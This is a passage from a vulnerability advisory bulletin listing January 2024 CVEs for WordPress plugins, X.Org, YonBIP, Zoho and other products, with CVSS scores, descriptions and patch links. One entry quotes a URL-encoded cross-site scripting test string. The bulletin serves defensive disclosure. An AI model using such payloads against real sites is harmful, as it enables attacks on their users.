			`concat` built-in can write over the bounds of the memory buffer that was allocated for it and thus overwrite existing valid data. The root cause is that the `build_IR` for `concat` doesn't properly adhere to the API of copy functions (for `>=0.3.2` the `copy_bytes` function). A contract search was performed and no vulnerable contracts were found in production. The buffer overflow can result in the change of semantics of the contract. The overflow is length-dependent and thus it might go unnoticed during contract testing. However, certainly not all usages of concat will result in overwritten valid data as we require it to be in an internal function and close to the return statement where other memory allocations don't occur. This issue	f1cd59a4b9ad6f, https://github.com/vyperlang/vyper/issues/3737, https://github.com/vyperlang/vyper/security/advisories/GHSA-2q8v-3gqq-4f8p	

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			has been addressed in commit `55e18f6d1` which will be included in future releases. Users are advised to update when possible. **CVE ID : CVE-2024-22419**		
Vendor: warfareplugins					
Product: social_warfare					
Affected Version(s): * Up to (excluding) 3.5.3					
N/A	17-Jan-2024	9.8	The Social Warfare plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 3.5.2 via the 'swp_url' parameter. This allows attackers to execute code on the server. **CVE ID : CVE-2021-4434**	N/A	A-WAR-SOCI-140224/1247
Vendor: weaver					
Product: e-cology					
Affected Version(s): 10.0.2310.01					
N/A	20-Jan-2024	9.8	An issue in weaver e-cology v.10.0.2310.01 allows a remote attacker to execute arbitrary code via a crafted script to the FrameworkShellCo	N/A	A-WEA-E-CO-140224/1248

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			ntroller component. **CVE ID : CVE-2023-51892**		
Vendor: Web-dorado					
Product: contact_form_maker					
Affected Version(s): * Up to (including) 1.13.23					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	16-Jan-2024	7.2	The Contact Form by WD WordPress plugin through 1.13.23 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin **CVE ID : CVE-2023-2655**	N/A	A-WEB-CONT-140224/1249
Vendor: webcalendar_project					
Product: webcalendar					
Affected Version(s): 1.3.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	WebCalendar v1.3.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /WebCalendarvqsmnseug2/edit_entry.php. **CVE ID : CVE-2024-22635**	N/A	A-WEB-WEBC-140224/1250
Vendor: Webkul					
Product: bagisto					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): * Up to (including) 1.5.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	4.8	Cross Site Scripting vulnerability in webkil Bagisto v.1.5.0 and before allows an attacker to execute arbitrary code via a crafted SVG file uplad. **CVE ID : CVE-2023-36236**	https://github.com/bagisto/bagisto/pull/4764/commits/7bbf0c4bb565fc2601f031f9bbcdfa06e24dbd45	A-WEB-BAGI-140224/1251
Product: bundle_product					
Affected Version(s): 6.0.1					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	23-Jan-2024	9.8	SQL injection vulnerability in Webkul Bundle Product 6.0.1 allows a remote attacker to execute arbitrary code via the id_product parameters in the UpdateProductQuantity function. **CVE ID : CVE-2023-51210**	N/A	A-WEB-BUND-140224/1252
Product: qloapps					
Affected Version(s): * Up to (excluding) 1.6.0					
Authorization Bypass Through User-Controlled Key	17-Jan-2024	6.5	An issue in webkul qloapps before v1.6.0 allows an attacker to obtain sensitive information via the id_order parameter. **CVE ID : CVE-2023-36235**	https://github.com/webkul/hotelcommerce/pull/537	A-WEB-QLOA-140224/1253
Vendor: weblizar					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: school_management					
Affected Version(s): * Up to (excluding) 9.9.7					
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	9.8	The School Management WordPress plugin before 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site. **CVE ID : CVE-2022-1609**	N/A	A-WEB-SCHO-140224/1254
Vendor: webtoffee					
Product: order_export_\&_order_import_for_woocommerce					
Affected Version(s): * Up to (excluding) 2.4.4					
Unrestricted Upload of File with Dangerous Type	24-Jan-2024	7.2	Unrestricted Upload of File with Dangerous Type vulnerability in WebToffee Order Export & Order Import for WooCommerce.This issue affects Order Export & Order Import for WooCommerce: from n/a through 2.4.3.	N/A	A-WEB-ORDE-140224/1255

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-22135		
Product: product_import_export_for_woocommerce					
Affected Version(s): * Up to (excluding) 2.3.8					
Unrestricted Upload of File with Dangerous Type	24-Jan-2024	7.2	Unrestricted Upload of File with Dangerous Type vulnerability in WebToffee Product Import Export for WooCommerce.This issue affects Product Import Export for WooCommerce: from n/a through 2.3.7. **CVE ID : CVE-2024-22152**	N/A	A-WEB-PROD-140224/1256
Product: stripe_payment_plugin_for_woocommerce					
Affected Version(s): * Up to (excluding) 3.8.0					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	19-Jan-2024	7.5	The Stripe Payment Plugin for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter in all versions up to, and including, 3.7.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it	https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2954934%40payment-gateway-stripe-and-woocommerce-integration&new=2954934%40payment-gateway-stripe-and-woocommerce-integration&sfp	A-WEB-STRI-140224/1257

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. **CVE ID : CVE-2024-0705**	_email=&sfph_mail=	
Vendor: wedevs					
Product: dokan					
Affected Version(s): * Up to (excluding) 3.6.4					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	The Dokan WordPress plugin before 3.6.4 allows vendors to inject arbitrary javascript in product reviews, which may allow them to run stored XSS attacks against other users like site administrators. **CVE ID : CVE-2022-3194**	N/A	A-WED-DOKA-140224/1258
Vendor: Woocommerce					
Product: woocommerce					
Affected Version(s): * Up to (excluding) 6.2.1					
Incorrect Authorization	16-Jan-2024	4.3	The WooCommerce WordPress plugin before 6.2.1 does not have proper authorisation check when deleting reviews, which could allow	https://plugins.trac.wordpress.org/changeset/2683324	A-WOO-WOOC-140224/1259

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			any authenticated users, such as subscriber to delete arbitrary comment **CVE ID : CVE-2022-0775**		
Vendor: wootsify					
Product: sites_library					
Affected Version(s): * Up to (excluding) 1.4.8					
Missing Authorization	29-Jan-2024	7.1	The Woostify Sites Library WordPress plugin before 1.4.8 does not have authorisation in an AJAX action, allowing any authenticated users, such as subscriber to update arbitrary blog options and set them to 'activated' which could lead to DoS when using a specific option name **CVE ID : CVE-2023-6279**	N/A	A-WOO-SITE-140224/1260
Vendor: wow-company					
Product: sticky_buttons					
Affected Version(s): * Up to (including) 3.2.2					
Improper Neutralization of Input During Web Page Generation	23-Jan-2024	4.8	The Sticky Buttons – floating buttons builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via sticky URLs in all	https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3024941%40sticky-	A-WOW-STIC-140224/1261

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			versions up to, and including, 3.2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. **CVE ID : CVE-2024-0703**	buttons&new=3024941%40sticky-buttons&sfp_email=&sfph_mail=	
Vendor: wp-eventmanager					
Product: user_profile_avatar					
Affected Version(s): * Up to (excluding) 1.0.1					
Authorization Bypass Through User-Controlled Key	22-Jan-2024	4.3	The WP User Profile Avatar WordPress plugin before 1.0.1 does not properly check for authorisation, allowing authors to delete and update arbitrary avatar **CVE ID : CVE-2023-6384**	N/A	A-WP--USER-140224/1262
Vendor: wpengine					
Product: wpgraphql					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): * Up to (including) 0.12.3					
N/A	16-Jan-2024	5.3	The WPGraphQL WooCommerce WordPress plugin before 0.12.4 does not prevent unauthenticated attackers from enumerating a shop's coupon codes and values via GraphQL. **CVE ID : CVE-2022-1563**	N/A	A-WPE-WPGR-140224/1263
Vendor: wpexperts					
Product: post_smtp					
Affected Version(s): * Up to (excluding) 2.5.7					
Cross-Site Request Forgery (CSRF)	16-Jan-2024	4.3	The POST SMTP Mailer WordPress plugin before 2.5.7 does not have proper CSRF checks in some AJAX actions, which could allow attackers to make logged in users with the manage_postman_smtp capability delete arbitrary logs via a CSRF attack. **CVE ID : CVE-2023-3178**	N/A	A-WPE-POST-140224/1264
Vendor: wpfastestcache					
Product: wp_fastest_cache					
Affected Version(s): * Up to (excluding) 0.9.5					
Improper Neutralizat	16-Jan-2024	8.8	The WP Fastest Cache WordPress	N/A	A-WPF-WP_F-140224/1265

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
ion of Special Elements used in an SQL Command ('SQL Injection')			plugin before 0.9.5 does not escape user input in the set_urls_with_terms method before using it in a SQL statement, leading to an SQL injection exploitable by low privilege users such as subscriber **CVE ID : CVE-2021-24869**		
Cross-Site Request Forgery (CSRF)	16-Jan-2024	6.1	The WP Fastest Cache WordPress plugin before 0.9.5 is lacking a CSRF check in its wpfc_save_cdn_integration AJAX action, and does not sanitise and escape some the options available via the action, which could allow attackers to make logged in high privilege users call it and set a Cross-Site Scripting payload **CVE ID : CVE-2021-24870**	N/A	A-WPF-WP_F-140224/1266
Vendor: wpforms					
Product: wpforms					
Affected Version(s): * Up to (including) 1.8.5.3					
Improper Neutralization of Input During	20-Jan-2024	6.1	The WPForms Pro plugin for WordPress is vulnerable to Stored Cross-Site	N/A	A-WPF-WPFO-140224/1267

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			Scripting via form submission parameters in all versions up to, and including, 1.8.5.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. **CVE ID : CVE-2023-7063**		
Vendor: wpfront					
Product: wpfront_notification_bar					
Affected Version(s): * Up to (including) 3.3.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	4.8	The WPFront Notification Bar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpfront-notification-bar-options[custom_class]' parameter in all versions up to, and including, 3.3.2 due to insufficient input sanitization and output escaping. This makes it possible	https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3025472%40wpfront-notification-bar&new=3025472%40wpfront-notification-bar&sfp_email=&sfph_mail=	A-WPF-WPFR-140224/1268

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. **CVE ID : CVE-2024-0625**		
Vendor: Wpgmaps					
Product: wp_go_maps					
Affected Version(s): * Up to (including) 9.0.28					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	24-Jan-2024	6.1	The WP Go Maps (formerly WP Google Maps) plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the map id parameter in all versions up to, and including, 9.0.28 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web	https://plugins.trac.wordpress.org/changeset/3022232/wp-google-maps/trunk/html/atlas-novus/map-edit-page/map-edit-page.html.php	A-WPG-WP_G-140224/1269

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. **CVE ID : CVE-2023-6697**		
Vendor: wpjobportal					
Product: wp_job_portal					
Affected Version(s): * Up to (including) 2.0.1					
Missing Authorization	17-Jan-2024	9.8	Missing Authorization vulnerability in WP Job Portal WP Job Portal – A Complete Job Board.This issue affects WP Job Portal – A Complete Job Board: from n/a through 2.0.1. **CVE ID : CVE-2022-41786**	N/A	A-WPJ-WP_J-140224/1270
Vendor: wpmet					
Product: wp_social_login_and_register_social_counter					
Affected Version(s): * Up to (excluding) 2.0.0					
N/A	19-Jan-2024	6.5	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wpmet Wp Social Login and Register Social Counter.This issue	N/A	A-WPM-WP_S-140224/1271

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affects Wp Social Login and Register Social Counter: from n/a through 1.9.0. **CVE ID : CVE-2022-47160**		
Vendor: wpopal					
Product: wpopal_core_features					
Affected Version(s): * Up to (including) 1.5.8					
Server-Side Request Forgery (SSRF)	19-Jan-2024	9.8	Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles,	N/A	A-WPO-WPOP-140224/1272

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6. **CVE ID : CVE-2022-40700**		
Vendor: wpovernight					
Product: woocommerce_pdf_invoices\&_packing_slips					
Affected Version(s): * Up to (including) 3.7.5					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	27-Jan-2024	7.2	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WP Overnight PDF Invoices & Packing Slips for WooCommerce.This issue affects PDF Invoices & Packing Slips for WooCommerce:	N/A	A-WPO-WOOC-140224/1273

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			from n/a through 3.7.5. **CVE ID : CVE-2024-22147**		
Vendor: wpspellcheck					
Product: wpspellcheck					
Affected Version(s): * Up to (including) 9.17					
Cross-Site Request Forgery (CSRF)	31-Jan-2024	8.8	Cross-Site Request Forgery (CSRF) vulnerability in WP Spell Check.This issue affects WP Spell Check: from n/a through 9.17. **CVE ID : CVE-2024-22143**	N/A	A-WPS-WPSP-140224/1274
Vendor: wpuserplus					
Product: userplus					
Affected Version(s): * Up to (including) 2.0					
Cross-Site Request Forgery (CSRF)	16-Jan-2024	6.5	The User registration & user profile WordPress plugin through 2.0 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged-in admin add Stored XSS payloads via a CSRF attack.	N/A	A-WPU-USER-140224/1275

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-0824		
Vendor: wpvibes					
Product: form_vibes					
Affected Version(s): * Up to (excluding) 1.4.6					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	16-Jan-2024	7.2	The plugin does not filter the "delete_entries" parameter from user requests, leading to an SQL Injection vulnerability. **CVE ID : CVE-2022-3764**	N/A	A-WPV-FORM-140224/1276
Vendor: wpwax					
Product: directorist					
Affected Version(s): * Up to (excluding) 7.5.4					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	16-Jan-2024	2.7	The Directorist WordPress plugin before 7.5.4 is vulnerable to Local File Inclusion as it does not validate the file parameter when importing CSV files. **CVE ID : CVE-2023-2252**	N/A	A-WPW-DIRE-140224/1277
Vendor: X.org					
Product: xorg-server					
Affected Version(s): * Up to (excluding) 21.1.11					
Out-of-bounds Write	18-Jan-2024	9.8	A flaw was found in X.Org server. Both DeviceFocusEvent and the XIQueryPointer reply contain a bit for each logical	http://www.openwall.com/lists/oss-security/2024/01/18/1	A-X.O-XORG-140224/1278

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			button currently down. Buttons can be arbitrarily mapped to any value up to 255, but the X.Org Server was only allocating space for the device's particular number of buttons, leading to a heap overflow if a bigger value was used. **CVE ID : CVE-2023-6816**		
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**	N/A	A-X.O-XORG-140224/1279
N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that	N/A	A-X.O-XORG-140224/1280

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL. **CVE ID : CVE-2024-0408**		
Product: xwayland					
Affected Version(s): * Up to (excluding) 23.2.4					
Out-of-bounds Write	18-Jan-2024	9.8	A flaw was found in X.Org server. Both DeviceFocusEvent and the XIQueryPointer reply contain a bit for each logical button currently down. Buttons can be arbitrarily mapped to any value up to 255, but the X.Org Server was only allocating space for the device's particular number of buttons, leading to a heap overflow if a bigger value was used. **CVE ID : CVE-2023-6816**	http://www.openwall.com/lists/oss-security/2024/01/18/1	A-X.O-XWAY-140224/1281

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**	N/A	A-X.O-XWAY-140224/1282
N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL. **CVE ID : CVE-2024-0408**	N/A	A-X.O-XWAY-140224/1283

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: Xlightftpd					
Product: xlight_ftp_server					
Affected Version(s): 1.1					
Improper Resource Shutdown or Release	19-Jan-2024	7.5	A vulnerability classified as problematic was found in Xlightftpd Xlight FTP Server 1.1. This vulnerability affects unknown code of the component Login. The manipulation of the argument user leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251560. **CVE ID : CVE-2024-0737**	N/A	A-XLI-XLIG-140224/1284
Vendor: xpand-it					
Product: write-back_manager					
Affected Version(s): 2.3.1					
Unrestricted Upload of File with Dangerous Type	19-Jan-2024	9.8	An arbitrary file upload vulnerability in Xpand IT Write-back Manager v2.3.1 allows attackers to execute arbitrary code via a crafted jsp file.	N/A	A-XPA-WRIT-140224/1285

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-27168		
Vendor: xxyopen					
Product: novel-plus					
Affected Version(s): 4.3.0					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	18-Jan-2024	9.8	A vulnerability has been found in Novel-Plus 4.3.0-RC1 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /novel/bookSetting/list. The manipulation of the argument sort leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251383. **CVE ID : CVE-2024-0655**	N/A	A-XXY-NOVE-140224/1286
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	26-Jan-2024	9.8	A vulnerability was found in Novel-Plus 4.3.0-RC1 and classified as critical. This issue affects some unknown processing of the file /novel/bookComment/list. The	N/A	A-XXY-NOVE-140224/1287

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			manipulation of the argument sort leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier VDB-252185 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0941**		
Vendor: yonyou					
Product: yonbip					
Affected Version(s): 3_23.05					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	20-Jan-2024	9.8	YonBIP v3_23.05 was discovered to contain a SQL injection vulnerability via the com.yonyou.hrcloud.attend.web.AttendScriptController.runScript() method. **CVE ID : CVE-2023-51927**	N/A	A-YON-YONB-140224/1288
Unrestricted Upload of File with Dangerous Type	20-Jan-2024	9.8	An arbitrary file upload vulnerability in the nccloud.web.arcp.taskmonitor.action.ArcpUploadAction.doAction() method of YonBIP v3_23.05	N/A	A-YON-YONB-140224/1289

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allows attackers to execute arbitrary code via uploading a crafted file. **CVE ID : CVE-2023-51928**		
N/A	20-Jan-2024	9.8	An issue in yonyou YonBIP v3_23.05 allows a remote attacker to execute arbitrary code via a crafted script to the ServiceDispatcherServlet uap.framework.rc.itf.IResourceManager component. **CVE ID : CVE-2023-51906**	N/A	A-YON-YONB-140224/1290
Unrestricted Upload of File with Dangerous Type	20-Jan-2024	9.8	An arbitrary file upload vulnerability in the uap.framework.rc.itf.IResourceManager interface of YonBIP v3_23.05 allows attackers to execute arbitrary code via uploading a crafted file. **CVE ID : CVE-2023-51924**	N/A	A-YON-YONB-140224/1291
Unrestricted Upload of File with Dangerous Type	20-Jan-2024	9.8	An arbitrary file upload vulnerability in the nccloud.web.arcp.taskmonitor.action.ArcpUploadAction.doAction() method of YonBIP v3_23.05 allows attackers to execute arbitrary	N/A	A-YON-YONB-140224/1292

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			code via uploading a crafted file. **CVE ID : CVE-2023-51925**		
N/A	20-Jan-2024	7.5	YonBIP v3_23.05 was discovered to contain an arbitrary file read vulnerability via the nc.bs.framework.comn.serv.CommonServletDispatcher component. **CVE ID : CVE-2023-51926**	N/A	A-YON-YONB-140224/1293
Vendor: ypopsemail					
Product: ypops\!					
Affected Version(s): 1.6					
N/A	29-Jan-2024	7.5	The POP3 service in YahooPOPs (aka YPOPs!) 1.6 allows a remote denial of service (reboot) via a long string to TCP port 110, a related issue to CVE-2004-1558. **CVE ID : CVE-2024-24736**	N/A	A-YPO-YPOP-140224/1294
Vendor: yugeshverma					
Product: student_project_allocation_system					
Affected Version(s): 1.0					
Improper Neutralization of Input During Web Page Generation	19-Jan-2024	6.1	A vulnerability was found in Project Worlds Student Project Allocation System 1.0. It has been rated as problematic. This	N/A	A-YUG-STUD-140224/1295

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			issue affects some unknown processing of the file admin_login.php of the component Admin Login Module. The manipulation of the argument msg with the input test%22%3Cscript%3Ealert(%27Torada%27)%3C/script%3E leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251549 was assigned to this vulnerability. **CVE ID : CVE-2024-0726**		
Vendor: yukimichi					
Product: simple_sort\&search					
Affected Version(s): * Up to (including) 0.0.3					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	The simple sort&search WordPress plugin through 0.0.3 does not make sure that the indexurl parameter of the shortcodes "category_sims", "order_sims", "orderby_sims",	N/A	A-YUK-SIMP-140224/1296

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			"period_sims", and "tag_sims" use allowed URL protocols, which can lead to stored cross-site scripting by users with a role as low as Contributor **CVE ID : CVE-2021-24433**		
Vendor: yunyou_cms_project					
Product: yunyou_cms					
Affected Version(s): * Up to (including) 2.2.6					
Unrestricted Upload of File with Dangerous Type	17-Jan-2024	9.8	A vulnerability has been found in Yunyou CMS up to 2.2.6 and classified as critical. This vulnerability affects unknown code of the file /app/index/controller/Common.php. The manipulation of the argument templateFile leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251374 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0648**	N/A	A-YUN-YUNY-140224/1297
Vendor: zhicms					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: zhicms					
Affected Version(s): * Up to (including) 4.0					
Deserialization of Untrusted Data	16-Jan-2024	9.8	A vulnerability classified as critical has been found in ZhiCms up to 4.0. This affects an unknown part of the file app/plug/controller/giftcontroller.php. The manipulation of the argument mylike leads to deserialization. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250839. **CVE ID : CVE-2024-0603**	N/A	A-ZHI-ZHIC-140224/1298
Vendor: zhiyun-tech					
Product: zhihuiyun					
Affected Version(s): * Up to (including) 4.4.13					
Server-Side Request Forgery (SSRF)	17-Jan-2024	9.8	A vulnerability was found in ZhiHuiYun up to 4.4.13 and classified as critical. This issue affects the function download_network_image of the file /app/Http/Controllers/ImageControll	N/A	A-ZHI-ZHIH-140224/1299

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			er.php of the component Search. The manipulation of the argument url leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251375. **CVE ID : CVE-2024-0649**		
Vendor: zhongfucheng3y					
Product: austin					
Affected Version(s): 1.0					
Server-Side Request Forgery (SSRF)	16-Jan-2024	6.5	A vulnerability was found in ZhongFuCheng3y Austin 1.0. It has been rated as critical. Affected by this issue is the function getRemoteUrl2File of the file src\main\java\com\java3y\austin\support\utils\AustinFileUtils.java of the component Email Message Template Handler. The manipulation leads to server-side request forgery. The attack may be	N/A	A-ZHO-AUST-140224/1300

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			launched remotely. The exploit has been disclosed to the public and may be used. VDB-250838 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0601**		
Vendor: Zohocorp					
Product: manageengine_adaudit_plus					
Affected Version(s): 7.2					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	25-Jan-2024	2.7	Zoho ManageEngine ADAudit Plus before 7270 allows admin users to view names of arbitrary directories via path traversal. **CVE ID : CVE-2023-50785**	https://www.manageengine.com/products/active-directory-audit/cve-2023-50785.html	A-ZOH-MANA-140224/1301
Product: manageengine_servicedesk_plus_msp					
Affected Version(s): * Up to (excluding) 14.5					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	5.4	Zoho ManageEngine ServiceDesk Plus MSP before 14504 allows stored XSS (by a low-privileged technician) via a task's name in a time sheet. **CVE ID : CVE-2023-49943**	https://www.manageengine.com/products/service-desk-msp/CVE-2023-49943.html	A-ZOH-MANA-140224/1302
Affected Version(s): 14.5					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	5.4	Zoho ManageEngine ServiceDesk Plus MSP before 14504 allows stored XSS (by a low-privileged technician) via a task's name in a time sheet. **CVE ID : CVE-2023-49943**	https://www.manageengine.com/products/service-desk-msp/CVE-2023-49943.html	A-ZOH-MANA-140224/1303
Vendor: zorem					
Product: advanced_local_pickup_for_woocommerce					
Affected Version(s): * Up to (including) 1.5.2					
Missing Authorization	17-Jan-2024	4.3	Missing Authorization vulnerability in Zorem Advanced Local Pickup for WooCommerce.This issue affects Advanced Local Pickup for WooCommerce: from n/a through 1.5.2. **CVE ID : CVE-2022-40702**	N/A	A-ZOR-ADVA-140224/1304
Product: sales_report_email_for_woocommerce					
Affected Version(s): * Up to (including) 2.8					
Missing Authorization	17-Jan-2024	6.5	Missing Authorization vulnerability in Zorem Sales Report Email for WooCommerce.This issue affects Sales	N/A	A-ZOR-SALE-140224/1305

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Report Email for WooCommerce: from n/a through 2.8. **CVE ID : CVE-2022-38141**		
Vendor: Zulip					
Product: zulip_server					
Affected Version(s): From (including) 1.9.0 Up to (excluding) 6.2					
